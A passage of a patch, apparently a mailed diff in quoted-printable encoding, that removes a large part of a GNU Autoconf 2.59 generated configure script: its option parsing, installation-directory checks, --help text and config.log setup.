FFLAGS ac_ct_F77 LIBTOOL LIBOBJS LTLIBOBJS' -ac_subst_files=3D'' - -# Initialize some variables set by options. -ac_init_help=3D -ac_init_version=3Dfalse -# The variables have the same names as the options, with -# dashes changed to underlines. -cache_file=3D/dev/null -exec_prefix=3DNONE -no_create=3D -no_recursion=3D -prefix=3DNONE -program_prefix=3DNONE -program_suffix=3DNONE -program_transform_name=3Ds,x,x, -silent=3D -site=3D -srcdir=3D -verbose=3D -x_includes=3DNONE -x_libraries=3DNONE - -# Installation directory options. -# These are left unexpanded so users can "make install exec_prefix=3D/= foo" -# and all the variables that are supposed to be based on exec_prefix -# by default will actually change. -# Use braces instead of parens because sh, perl, etc. also accept them= . -bindir=3D'${exec_prefix}/bin' -sbindir=3D'${exec_prefix}/sbin' -libexecdir=3D'${exec_prefix}/libexec' -datadir=3D'${prefix}/share' -sysconfdir=3D'${prefix}/etc' -sharedstatedir=3D'${prefix}/com' -localstatedir=3D'${prefix}/var' -libdir=3D'${exec_prefix}/lib' -includedir=3D'${prefix}/include' -oldincludedir=3D'/usr/include' -infodir=3D'${prefix}/info' -mandir=3D'${prefix}/man' - -ac_prev=3D -for ac_option -do - # If the previous option needs an argument, assign it. - if test -n "$ac_prev"; then - eval "$ac_prev=3D\$ac_option" - ac_prev=3D - continue - fi - - ac_optarg=3D`expr "x$ac_option" : 'x[^=3D]*=3D\(.*\)'` - - # Accept the important Cygnus configure options, so we can diagnose = typos. - - case $ac_option in - - -bindir | --bindir | --bindi | --bind | --bin | --bi) - ac_prev=3Dbindir ;; - -bindir=3D* | --bindir=3D* | --bindi=3D* | --bind=3D* | --bin=3D* | = --bi=3D*) - bindir=3D$ac_optarg ;; - - -build | --build | --buil | --bui | --bu) - ac_prev=3Dbuild_alias ;; - -build=3D* | --build=3D* | --buil=3D* | --bui=3D* | --bu=3D*) - build_alias=3D$ac_optarg ;; - - -cache-file | --cache-file | --cache-fil | --cache-fi \ - | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) - ac_prev=3Dcache_file ;; - -cache-file=3D* | --cache-file=3D* | --cache-fil=3D* | --cache-fi=3D= * \ - | --cache-f=3D* | --cache-=3D* | --cache=3D* | --cach=3D* | --cac=3D= * | --ca=3D* | --c=3D*) - cache_file=3D$ac_optarg ;; - - --config-cache | -C) - cache_file=3Dconfig.cache ;; - - -datadir | --datadir | --datadi | --datad | --data | --dat | --da) - ac_prev=3Ddatadir ;; - -datadir=3D* | --datadir=3D* | --datadi=3D* | --datad=3D* | --data= =3D* | --dat=3D* \ - | --da=3D*) - datadir=3D$ac_optarg ;; - - -disable-* | --disable-*) - ac_feature=3D`expr "x$ac_option" : 'x-*disable-\(.*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && - { echo "$as_me: error: invalid feature name: $ac_feature" >&2 - { (exit 1); exit 1; }; } - ac_feature=3D`echo $ac_feature | sed 's/-/_/g'` - eval "enable_$ac_feature=3Dno" ;; - - -enable-* | --enable-*) - ac_feature=3D`expr "x$ac_option" : 'x-*enable-\([^=3D]*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && - { echo "$as_me: error: invalid feature name: $ac_feature" >&2 - { (exit 1); exit 1; }; } - ac_feature=3D`echo $ac_feature | sed 's/-/_/g'` - case $ac_option in - *=3D*) ac_optarg=3D`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`= ;; - *) ac_optarg=3Dyes ;; - esac - eval "enable_$ac_feature=3D'$ac_optarg'" ;; - - -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ - | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ - | --exec | --exe | --ex) - ac_prev=3Dexec_prefix ;; - -exec-prefix=3D* | --exec_prefix=3D* | --exec-prefix=3D* | --exec-pr= efi=3D* \ - | --exec-pref=3D* | --exec-pre=3D* | --exec-pr=3D* | --exec-p=3D* | = --exec-=3D* \ - | --exec=3D* | --exe=3D* | --ex=3D*) - exec_prefix=3D$ac_optarg ;; - - -gas | --gas | --ga | --g) - # Obsolete; use --with-gas. - with_gas=3Dyes ;; - - -help | --help | --hel | --he | -h) - ac_init_help=3Dlong ;; - -help=3Dr* | --help=3Dr* | --hel=3Dr* | --he=3Dr* | -hr*) - ac_init_help=3Drecursive ;; - -help=3Ds* | --help=3Ds* | --hel=3Ds* | --he=3Ds* | -hs*) - ac_init_help=3Dshort ;; - - -host | --host | --hos | --ho) - ac_prev=3Dhost_alias ;; - -host=3D* | --host=3D* | --hos=3D* | --ho=3D*) - host_alias=3D$ac_optarg ;; - - -includedir | --includedir | --includedi | --included | --include \ - | --includ | --inclu | --incl | --inc) - ac_prev=3Dincludedir ;; - -includedir=3D* | --includedir=3D* | --includedi=3D* | --included=3D= * | --include=3D* \ - | --includ=3D* | --inclu=3D* | --incl=3D* | --inc=3D*) - includedir=3D$ac_optarg ;; - - -infodir | --infodir | --infodi | --infod | --info | --inf) - ac_prev=3Dinfodir ;; - -infodir=3D* | --infodir=3D* | --infodi=3D* | --infod=3D* | --info= =3D* | --inf=3D*) - infodir=3D$ac_optarg ;; - - -libdir | --libdir | --libdi | --libd) - ac_prev=3Dlibdir ;; - -libdir=3D* | --libdir=3D* | --libdi=3D* | --libd=3D*) - libdir=3D$ac_optarg ;; - - -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ - | --libexe | --libex | --libe) - ac_prev=3Dlibexecdir ;; - -libexecdir=3D* | --libexecdir=3D* | --libexecdi=3D* | --libexecd=3D= * | --libexec=3D* \ - | --libexe=3D* | --libex=3D* | --libe=3D*) - libexecdir=3D$ac_optarg ;; - - -localstatedir | --localstatedir | --localstatedi | --localstated \ - | --localstate | --localstat | --localsta | --localst \ - | --locals | --local | --loca | --loc | --lo) - ac_prev=3Dlocalstatedir ;; - -localstatedir=3D* | --localstatedir=3D* | --localstatedi=3D* | --lo= calstated=3D* \ - | --localstate=3D* | --localstat=3D* | --localsta=3D* | --localst=3D= * \ - | --locals=3D* | --local=3D* | --loca=3D* | --loc=3D* | --lo=3D*) - localstatedir=3D$ac_optarg ;; - - -mandir | --mandir | --mandi | --mand | --man | --ma | --m) - ac_prev=3Dmandir ;; - -mandir=3D* | --mandir=3D* | --mandi=3D* | --mand=3D* | --man=3D* | = --ma=3D* | --m=3D*) - mandir=3D$ac_optarg ;; - - -nfp | --nfp | --nf) - # Obsolete; use --without-fp. - with_fp=3Dno ;; - - -no-create | --no-create | --no-creat | --no-crea | --no-cre \ - | --no-cr | --no-c | -n) - no_create=3Dyes ;; - - -no-recursion | --no-recursion | --no-recursio | --no-recursi \ - | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r= ) - no_recursion=3Dyes ;; - - -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ - | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ - | --oldin | --oldi | --old | --ol | --o) - ac_prev=3Doldincludedir ;; - -oldincludedir=3D* | --oldincludedir=3D* | --oldincludedi=3D* | --ol= dincluded=3D* \ - | --oldinclude=3D* | --oldinclud=3D* | --oldinclu=3D* | --oldincl=3D= * | --oldinc=3D* \ - | --oldin=3D* | --oldi=3D* | --old=3D* | --ol=3D* | --o=3D*) - oldincludedir=3D$ac_optarg ;; - - -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) - ac_prev=3Dprefix ;; - -prefix=3D* | --prefix=3D* | --prefi=3D* | --pref=3D* | --pre=3D* | = --pr=3D* | --p=3D*) - prefix=3D$ac_optarg ;; - - -program-prefix | --program-prefix | --program-prefi | --program-pre= f \ - | --program-pre | --program-pr | --program-p) - ac_prev=3Dprogram_prefix ;; - -program-prefix=3D* | --program-prefix=3D* | --program-prefi=3D* \ - | --program-pref=3D* | --program-pre=3D* | --program-pr=3D* | --prog= ram-p=3D*) - program_prefix=3D$ac_optarg ;; - - -program-suffix | --program-suffix | --program-suffi | --program-suf= f \ - | --program-suf | --program-su | --program-s) - ac_prev=3Dprogram_suffix ;; - -program-suffix=3D* | --program-suffix=3D* | --program-suffi=3D* \ - | --program-suff=3D* | --program-suf=3D* | --program-su=3D* | --prog= ram-s=3D*) - program_suffix=3D$ac_optarg ;; - - -program-transform-name | --program-transform-name \ - | --program-transform-nam | --program-transform-na \ - | --program-transform-n | --program-transform- \ - | --program-transform | --program-transfor \ - | --program-transfo | --program-transf \ - | --program-trans | --program-tran \ - | --progr-tra | --program-tr | --program-t) - ac_prev=3Dprogram_transform_name ;; - -program-transform-name=3D* | --program-transform-name=3D* \ - | --program-transform-nam=3D* | --program-transform-na=3D* \ - | --program-transform-n=3D* | --program-transform-=3D* \ - | --program-transform=3D* | --program-transfor=3D* \ - | --program-transfo=3D* | --program-transf=3D* \ - | --program-trans=3D* | --program-tran=3D* \ - | --progr-tra=3D* | --program-tr=3D* | --program-t=3D*) - program_transform_name=3D$ac_optarg ;; - - -q | -quiet | --quiet | --quie | --qui | --qu | --q \ - | -silent | --silent | --silen | --sile | --sil) - silent=3Dyes ;; - - -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) - ac_prev=3Dsbindir ;; - -sbindir=3D* | --sbindir=3D* | --sbindi=3D* | --sbind=3D* | --sbin= =3D* \ - | --sbi=3D* | --sb=3D*) - sbindir=3D$ac_optarg ;; - - -sharedstatedir | --sharedstatedir | --sharedstatedi \ - | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ - | --sharedst | --shareds | --shared | --share | --shar \ - | --sha | --sh) - ac_prev=3Dsharedstatedir ;; - -sharedstatedir=3D* | --sharedstatedir=3D* | --sharedstatedi=3D* \ - | --sharedstated=3D* | --sharedstate=3D* | --sharedstat=3D* | --shar= edsta=3D* \ - | --sharedst=3D* | --shareds=3D* | --shared=3D* | --share=3D* | --sh= ar=3D* \ - | --sha=3D* | --sh=3D*) - sharedstatedir=3D$ac_optarg ;; - - -site | --site | --sit) - ac_prev=3Dsite ;; - -site=3D* | --site=3D* | --sit=3D*) - site=3D$ac_optarg ;; - - -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) - ac_prev=3Dsrcdir ;; - -srcdir=3D* | --srcdir=3D* | --srcdi=3D* | --srcd=3D* | --src=3D* | = --sr=3D*) - srcdir=3D$ac_optarg ;; - - -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ - | --syscon | --sysco | --sysc | --sys | --sy) - ac_prev=3Dsysconfdir ;; - -sysconfdir=3D* | --sysconfdir=3D* | --sysconfdi=3D* | --sysconfd=3D= * | --sysconf=3D* \ - | --syscon=3D* | --sysco=3D* | --sysc=3D* | --sys=3D* | --sy=3D*) - sysconfdir=3D$ac_optarg ;; - - -target | --target | --targe | --targ | --tar | --ta | --t) - ac_prev=3Dtarget_alias ;; - -target=3D* | --target=3D* | --targe=3D* | --targ=3D* | --tar=3D* | = --ta=3D* | --t=3D*) - target_alias=3D$ac_optarg ;; - - -v | -verbose | --verbose | --verbos | --verbo | --verb) - verbose=3Dyes ;; - - -version | --version | --versio | --versi | --vers | -V) - ac_init_version=3D: ;; - - -with-* | --with-*) - ac_package=3D`expr "x$ac_option" : 'x-*with-\([^=3D]*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && - { echo "$as_me: error: invalid package name: $ac_package" >&2 - { (exit 1); exit 1; }; } - ac_package=3D`echo $ac_package| sed 's/-/_/g'` - case $ac_option in - *=3D*) ac_optarg=3D`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`= ;; - *) ac_optarg=3Dyes ;; - esac - eval "with_$ac_package=3D'$ac_optarg'" ;; - - -without-* | --without-*) - ac_package=3D`expr "x$ac_option" : 'x-*without-\(.*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && - { echo "$as_me: error: invalid package name: $ac_package" >&2 - { (exit 1); exit 1; }; } - ac_package=3D`echo $ac_package | sed 's/-/_/g'` - eval "with_$ac_package=3Dno" ;; - - --x) - # Obsolete; use --with-x. - with_x=3Dyes ;; - - -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ - | --x-incl | --x-inc | --x-in | --x-i) - ac_prev=3Dx_includes ;; - -x-includes=3D* | --x-includes=3D* | --x-include=3D* | --x-includ=3D= * | --x-inclu=3D* \ - | --x-incl=3D* | --x-inc=3D* | --x-in=3D* | --x-i=3D*) - x_includes=3D$ac_optarg ;; - - -x-libraries | --x-libraries | --x-librarie | --x-librari \ - | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) - ac_prev=3Dx_libraries ;; - -x-libraries=3D* | --x-libraries=3D* | --x-librarie=3D* | --x-librar= i=3D* \ - | --x-librar=3D* | --x-libra=3D* | --x-libr=3D* | --x-lib=3D* | --x-= li=3D* | --x-l=3D*) - x_libraries=3D$ac_optarg ;; - - -*) { echo "$as_me: error: unrecognized option: $ac_option -Try \`$0 --help' for more information." >&2 - { (exit 1); exit 1; }; } - ;; - - *=3D*) - ac_envvar=3D`expr "x$ac_option" : 'x\([^=3D]*\)=3D'` - # Reject names that are not valid shell variable names. - expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && - { echo "$as_me: error: invalid variable name: $ac_envvar" >&2 - { (exit 1); exit 1; }; } - ac_optarg=3D`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` - eval "$ac_envvar=3D'$ac_optarg'" - export $ac_envvar ;; - - *) - # FIXME: should be removed in autoconf 3.0. - echo "$as_me: WARNING: you should use --build, --host, --target" >= &2 - expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && - echo "$as_me: WARNING: invalid host type: $ac_option" >&2 - : ${build_alias=3D$ac_option} ${host_alias=3D$ac_option} ${target_= alias=3D$ac_option} - ;; - - esac -done - -if test -n "$ac_prev"; then - ac_option=3D--`echo $ac_prev | sed 's/_/-/g'` - { echo "$as_me: error: missing argument to $ac_option" >&2 - { (exit 1); exit 1; }; } -fi - -# Be sure to have absolute paths. -for ac_var in exec_prefix prefix -do - eval ac_val=3D$`echo $ac_var` - case $ac_val in - [\\/$]* | ?:[\\/]* | NONE | '' ) ;; - *) { echo "$as_me: error: expected an absolute directory name for= --$ac_var: $ac_val" >&2 - { (exit 1); exit 1; }; };; - esac -done - -# Be sure to have absolute paths. -for ac_var in bindir sbindir libexecdir datadir sysconfdir sharedstate= dir \ -=09 localstatedir libdir includedir oldincludedir infodir mandir -do - eval ac_val=3D$`echo $ac_var` - case $ac_val in - [\\/$]* | ?:[\\/]* ) ;; - *) { echo "$as_me: error: expected an absolute directory name for= --$ac_var: $ac_val" >&2 - { (exit 1); exit 1; }; };; - esac -done - -# There might be people who depend on the old broken behavior: `$host' -# used to hold the argument of --host etc. -# FIXME: To remove some day. -build=3D$build_alias -host=3D$host_alias -target=3D$target_alias - -# FIXME: To remove some day. -if test "x$host_alias" !=3D x; then - if test "x$build_alias" =3D x; then - cross_compiling=3Dmaybe - echo "$as_me: WARNING: If you wanted to set the --build type, don'= t use --host. - If a cross compiler is detected then cross compile mode will be us= ed." >&2 - elif test "x$build_alias" !=3D "x$host_alias"; then - cross_compiling=3Dyes - fi -fi - -ac_tool_prefix=3D -test -n "$host_alias" && ac_tool_prefix=3D$host_alias- - -test "$silent" =3D yes && exec 6>/dev/null - - -# Find the source files, if location was not specified. -if test -z "$srcdir"; then - ac_srcdir_defaulted=3Dyes - # Try the directory containing this script, then its parent. - ac_confdir=3D`(dirname "$0") 2>/dev/null || -$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$0" : 'X\(//\)[^/]' \| \ -=09 X"$0" : 'X\(//\)$' \| \ -=09 X"$0" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$0" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - srcdir=3D$ac_confdir - if test ! -r $srcdir/$ac_unique_file; then - srcdir=3D.. - fi -else - ac_srcdir_defaulted=3Dno -fi -if test ! -r $srcdir/$ac_unique_file; then - if test "$ac_srcdir_defaulted" =3D yes; then - { echo "$as_me: error: cannot find sources ($ac_unique_file) in $a= c_confdir or .." >&2 - { (exit 1); exit 1; }; } - else - { echo "$as_me: error: cannot find sources ($ac_unique_file) in $s= rcdir" >&2 - { (exit 1); exit 1; }; } - fi -fi -(cd $srcdir && test -r ./$ac_unique_file) 2>/dev/null || - { echo "$as_me: error: sources are in $srcdir, but \`cd $srcdir' doe= s not work" >&2 - { (exit 1); exit 1; }; } -srcdir=3D`echo "$srcdir" | sed 's%\([^\\/]\)[\\/]*$%\1%'` -ac_env_build_alias_set=3D${build_alias+set} -ac_env_build_alias_value=3D$build_alias -ac_cv_env_build_alias_set=3D${build_alias+set} -ac_cv_env_build_alias_value=3D$build_alias -ac_env_host_alias_set=3D${host_alias+set} -ac_env_host_alias_value=3D$host_alias -ac_cv_env_host_alias_set=3D${host_alias+set} -ac_cv_env_host_alias_value=3D$host_alias -ac_env_target_alias_set=3D${target_alias+set} -ac_env_target_alias_value=3D$target_alias -ac_cv_env_target_alias_set=3D${target_alias+set} -ac_cv_env_target_alias_value=3D$target_alias -ac_env_CC_set=3D${CC+set} -ac_env_CC_value=3D$CC -ac_cv_env_CC_set=3D${CC+set} -ac_cv_env_CC_value=3D$CC -ac_env_CFLAGS_set=3D${CFLAGS+set} -ac_env_CFLAGS_value=3D$CFLAGS -ac_cv_env_CFLAGS_set=3D${CFLAGS+set} -ac_cv_env_CFLAGS_value=3D$CFLAGS -ac_env_LDFLAGS_set=3D${LDFLAGS+set} -ac_env_LDFLAGS_value=3D$LDFLAGS -ac_cv_env_LDFLAGS_set=3D${LDFLAGS+set} -ac_cv_env_LDFLAGS_value=3D$LDFLAGS -ac_env_CPPFLAGS_set=3D${CPPFLAGS+set} -ac_env_CPPFLAGS_value=3D$CPPFLAGS -ac_cv_env_CPPFLAGS_set=3D${CPPFLAGS+set} -ac_cv_env_CPPFLAGS_value=3D$CPPFLAGS -ac_env_CPP_set=3D${CPP+set} -ac_env_CPP_value=3D$CPP -ac_cv_env_CPP_set=3D${CPP+set} -ac_cv_env_CPP_value=3D$CPP -ac_env_CXX_set=3D${CXX+set} -ac_env_CXX_value=3D$CXX -ac_cv_env_CXX_set=3D${CXX+set} -ac_cv_env_CXX_value=3D$CXX -ac_env_CXXFLAGS_set=3D${CXXFLAGS+set} -ac_env_CXXFLAGS_value=3D$CXXFLAGS -ac_cv_env_CXXFLAGS_set=3D${CXXFLAGS+set} -ac_cv_env_CXXFLAGS_value=3D$CXXFLAGS -ac_env_CXXCPP_set=3D${CXXCPP+set} -ac_env_CXXCPP_value=3D$CXXCPP -ac_cv_env_CXXCPP_set=3D${CXXCPP+set} -ac_cv_env_CXXCPP_value=3D$CXXCPP -ac_env_F77_set=3D${F77+set} -ac_env_F77_value=3D$F77 -ac_cv_env_F77_set=3D${F77+set} -ac_cv_env_F77_value=3D$F77 -ac_env_FFLAGS_set=3D${FFLAGS+set} -ac_env_FFLAGS_value=3D$FFLAGS -ac_cv_env_FFLAGS_set=3D${FFLAGS+set} -ac_cv_env_FFLAGS_value=3D$FFLAGS - -# -# Report the --help message. -# -if test "$ac_init_help" =3D "long"; then - # Omit some internal or obsolete options to make the list less impos= ing. - # This message is too long to be a string in the A/UX 3.1 sh. - cat <<_ACEOF -\`configure' configures this package to adapt to many kinds of systems= . - -Usage: $0 [OPTION]... [VAR=3DVALUE]... - -To assign environment variables (e.g., CC, CFLAGS...), specify them as -VAR=3DVALUE. See below for descriptions of some of the useful variabl= es. - -Defaults for the options are specified in brackets. - -Configuration: - -h, --help display this help and exit - --help=3Dshort display options specific to this package - --help=3Drecursive display the short help of all the included= packages - -V, --version display version information and exit - -q, --quiet, --silent do not print \`checking...' messages - --cache-file=3DFILE cache test results in FILE [disabled] - -C, --config-cache alias for \`--cache-file=3Dconfig.cache' - -n, --no-create do not create output files - --srcdir=3DDIR find the sources in DIR [configure dir or = \`..'] - -_ACEOF - - cat <<_ACEOF -Installation directories: - --prefix=3DPREFIX install architecture-independent files in = PREFIX -=09=09=09 [$ac_default_prefix] - --exec-prefix=3DEPREFIX install architecture-dependent files in EP= REFIX -=09=09=09 [PREFIX] - -By default, \`make install' will install all the files in -\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can spe= cify -an installation prefix other than \`$ac_default_prefix' using \`--pref= ix', -for instance \`--prefix=3D\$HOME'. - -For better control, use the options below. - -Fine tuning of the installation directories: - --bindir=3DDIR user executables [EPREFIX/bin] - --sbindir=3DDIR system admin executables [EPREFIX/sbin] - --libexecdir=3DDIR program executables [EPREFIX/libexec] - --datadir=3DDIR read-only architecture-independent data [PR= EFIX/share] - --sysconfdir=3DDIR read-only single-machine data [PREFIX/etc] - --sharedstatedir=3DDIR modifiable architecture-independent data [P= REFIX/com] - --localstatedir=3DDIR modifiable single-machine data [PREFIX/var] - --libdir=3DDIR object code libraries [EPREFIX/lib] - --includedir=3DDIR C header files [PREFIX/include] - --oldincludedir=3DDIR C header files for non-gcc [/usr/include] - --infodir=3DDIR info documentation [PREFIX/info] - --mandir=3DDIR man documentation [PREFIX/man] -_ACEOF - - cat <<\_ACEOF - -Program names: - --program-prefix=3DPREFIX prepend PREFIX to installed pro= gram names - --program-suffix=3DSUFFIX append SUFFIX to installed prog= ram names - --program-transform-name=3DPROGRAM run sed PROGRAM on installed pr= ogram names - -System types: - --build=3DBUILD configure for building on BUILD [guessed] - --host=3DHOST cross-compile to build programs to run on HOST [= BUILD] -_ACEOF -fi - -if test -n "$ac_init_help"; then - - cat <<\_ACEOF - -Optional Features: - --disable-FEATURE do not include FEATURE (same as --enable-FEA= TURE=3Dno) - --enable-FEATURE[=3DARG] include FEATURE [ARG=3Dyes] - --disable-dependency-tracking speeds up one-time build - --enable-dependency-tracking do not reject slow dependency extract= ors - --enable-shared[=3DPKGS] - build shared libraries [default=3Dyes] - --enable-static[=3DPKGS] - build static libraries [default=3Dyes] - --enable-fast-install[=3DPKGS] - optimize for fast installation [default=3Dye= s] - --disable-libtool-lock avoid locking (might break parallel builds) - -Optional Packages: - --with-PACKAGE[=3DARG] use PACKAGE [ARG=3Dyes] - --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE= =3Dno) - --with-gnu-ld assume the C compiler uses GNU ld [default= =3Dno] - --with-pic try to use only PIC/non-PIC objects [default= =3Duse - both] - --with-tags[=3DTAGS] - include additional configurations [automatic= ] - -Some influential environment variables: - CC C compiler command - CFLAGS C compiler flags - LDFLAGS linker flags, e.g. -L if you have libraries in = a - nonstandard directory - CPPFLAGS C/C++ preprocessor flags, e.g. -I if you ha= ve - headers in a nonstandard directory - CPP C preprocessor - CXX C++ compiler command - CXXFLAGS C++ compiler flags - CXXCPP C++ preprocessor - F77 Fortran 77 compiler command - FFLAGS Fortran 77 compiler flags - -Use these variables to override the choices made by `configure' or to = help -it to find libraries and programs with nonstandard names/locations. - -_ACEOF -fi - -if test "$ac_init_help" =3D "recursive"; then - # If there are subdirs, report their specific --help. - ac_popdir=3D`pwd` - for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" =3D x: && contin= ue - test -d $ac_dir || continue - ac_builddir=3D. - -if test "$ac_dir" !=3D .; then - ac_dir_suffix=3D/`echo "$ac_dir" | sed 's,^\.[\\/],,'` - # A "../" for each directory in $ac_dir_suffix. - ac_top_builddir=3D`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` -else - ac_dir_suffix=3D ac_top_builddir=3D -fi - -case $srcdir in - .) # No --srcdir option. We are building in place. - ac_srcdir=3D. - if test -z "$ac_top_builddir"; then - ac_top_srcdir=3D. - else - ac_top_srcdir=3D`echo $ac_top_builddir | sed 's,/$,,'` - fi ;; - [\\/]* | ?:[\\/]* ) # Absolute path. - ac_srcdir=3D$srcdir$ac_dir_suffix; - ac_top_srcdir=3D$srcdir ;; - *) # Relative path. - ac_srcdir=3D$ac_top_builddir$srcdir$ac_dir_suffix - ac_top_srcdir=3D$ac_top_builddir$srcdir ;; -esac - -# Do not use `cd foo && pwd` to compute absolute paths, because -# the directories may not exist. -case `pwd` in -.) ac_abs_builddir=3D"$ac_dir";; -*) - case "$ac_dir" in - .) ac_abs_builddir=3D`pwd`;; - [\\/]* | ?:[\\/]* ) ac_abs_builddir=3D"$ac_dir";; - *) ac_abs_builddir=3D`pwd`/"$ac_dir";; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_top_builddir=3D${ac_top_builddir}.;; -*) - case ${ac_top_builddir}. in - .) ac_abs_top_builddir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=3D${ac_top_builddir}.;; - *) ac_abs_top_builddir=3D$ac_abs_builddir/${ac_top_builddir}.;; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_srcdir=3D$ac_srcdir;; -*) - case $ac_srcdir in - .) ac_abs_srcdir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_srcdir=3D$ac_srcdir;; - *) ac_abs_srcdir=3D$ac_abs_builddir/$ac_srcdir;; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_top_srcdir=3D$ac_top_srcdir;; -*) - case $ac_top_srcdir in - .) ac_abs_top_srcdir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=3D$ac_top_srcdir;; - *) ac_abs_top_srcdir=3D$ac_abs_builddir/$ac_top_srcdir;; - esac;; -esac - - cd $ac_dir - # Check for guested configure; otherwise get Cygnus style configur= e. - if test -f $ac_srcdir/configure.gnu; then - echo - $SHELL $ac_srcdir/configure.gnu --help=3Drecursive - elif test -f $ac_srcdir/configure; then - echo - $SHELL $ac_srcdir/configure --help=3Drecursive - elif test -f $ac_srcdir/configure.ac || -=09 test -f $ac_srcdir/configure.in; then - echo - $ac_configure --help - else - echo "$as_me: WARNING: no configuration information is in $ac_di= r" >&2 - fi - cd $ac_popdir - done -fi - -test -n "$ac_init_help" && exit 0 -if $ac_init_version; then - cat <<\_ACEOF - -Copyright (C) 2003 Free Software Foundation, Inc. -This configure script is free software; the Free Software Foundation -gives unlimited permission to copy, distribute and modify it. -_ACEOF - exit 0 -fi -exec 5>config.log -cat >&5 <<_ACEOF -This file contains any messages produced by compilers while -running configure, to aid debugging if configure makes a mistake. - -It was created by $as_me, which was -generated by GNU Autoconf 2.59. Invocation command line was - - $ $0 $@ - -_ACEOF -{ -cat <<_ASUNAME -## --------- ## -## Platform. ## -## --------- ## - -hostname =3D `(hostname || uname -n) 2>/dev/null | sed 1q` -uname -m =3D `(uname -m) 2>/dev/null || echo unknown` -uname -r =3D `(uname -r) 2>/dev/null || echo unknown` -uname -s =3D `(uname -s) 2>/dev/null || echo unknown` -uname -v =3D `(uname -v) 2>/dev/null || echo unknown` - -/usr/bin/uname -p =3D `(/usr/bin/uname -p) 2>/dev/null || echo unknown= ` -/bin/uname -X =3D `(/bin/uname -X) 2>/dev/null || echo unknown= ` - -/bin/arch =3D `(/bin/arch) 2>/dev/null || ec= ho unknown` -/usr/bin/arch -k =3D `(/usr/bin/arch -k) 2>/dev/null || ec= ho unknown` -/usr/convex/getsysinfo =3D `(/usr/convex/getsysinfo) 2>/dev/null || ec= ho unknown` -hostinfo =3D `(hostinfo) 2>/dev/null || ec= ho unknown` -/bin/machine =3D `(/bin/machine) 2>/dev/null || ec= ho unknown` -/usr/bin/oslevel =3D `(/usr/bin/oslevel) 2>/dev/null || ec= ho unknown` -/bin/universe =3D `(/bin/universe) 2>/dev/null || ec= ho unknown` - -_ASUNAME - -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - echo "PATH: $as_dir" -done - -} >&5 - -cat >&5 <<_ACEOF - - -## ----------- ## -## Core tests. ## -## ----------- ## - -_ACEOF - - -# Keep a trace of the command line. -# Strip out --no-create and --no-recursion so they do not pile up. -# Strip out --silent because we don't want to record it for future run= s. -# Also quote any args containing shell meta-characters. -# Make two passes to allow for proper duplicate-argument suppression. -ac_configure_args=3D -ac_configure_args0=3D -ac_configure_args1=3D -ac_sep=3D -ac_must_keep_next=3Dfalse -for ac_pass in 1 2 -do - for ac_arg - do - case $ac_arg in - -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; - -q | -quiet | --quiet | --quie | --qui | --qu | --q \ - | -silent | --silent | --silen | --sile | --sil) - continue ;; - *" "*|*"=09"*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*) - ac_arg=3D`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; - esac - case $ac_pass in - 1) ac_configure_args0=3D"$ac_configure_args0 '$ac_arg'" ;; - 2) - ac_configure_args1=3D"$ac_configure_args1 '$ac_arg'" - if test $ac_must_keep_next =3D true; then -=09ac_must_keep_next=3Dfalse # Got value, back to normal. - else -=09case $ac_arg in -=09 *=3D* | --config-cache | -C | -disable-* | --disable-* \ -=09 | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ -=09 | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ -=09 | -with-* | --with-* | -without-* | --without-* | --x) -=09 case "$ac_configure_args0 " in -=09 "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; -=09 esac -=09 ;; -=09 -* ) 